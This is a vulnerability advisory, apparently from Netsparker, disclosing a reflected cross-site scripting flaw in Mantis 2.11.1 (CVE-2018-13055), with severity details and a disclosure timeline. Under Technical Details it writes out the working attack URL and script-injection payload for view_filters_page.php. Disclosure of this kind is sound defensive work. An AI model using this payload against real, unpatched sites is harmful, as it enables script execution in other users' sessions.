Mantis 2.11.1 Cross Site Scripting

Mantis version 2.11.1 suffers from a cross site scripting vulnerability.

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Reflected Cross-site Scripting in Mantis 2.11.1


Advisory by Netsparker
Name: Reflected Cross-site Scripting in Mantis 2.11.1
Affected Software: Mantis
Affected Versions: 2.11.1
Vulnerability: Cross-site Scripting
Severity: Medium
Status: Fixed
CVE-ID: CVE-2018-13055
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-18-042

Technical Details

URL: http://{domain}/{mantis_path}/view_filters_page.php/'"--></style></scRipt><scRipt>alert(0x00CB68)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00CB68)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

2nd July 2018- First Contact
4th July 2018 - Vendor Fixed
8th January 2019 - Advisory Released

Credits & Authors

These issues have been discovered by Amer AA+-tak while testing Netsparker Web Application Security Scanner.

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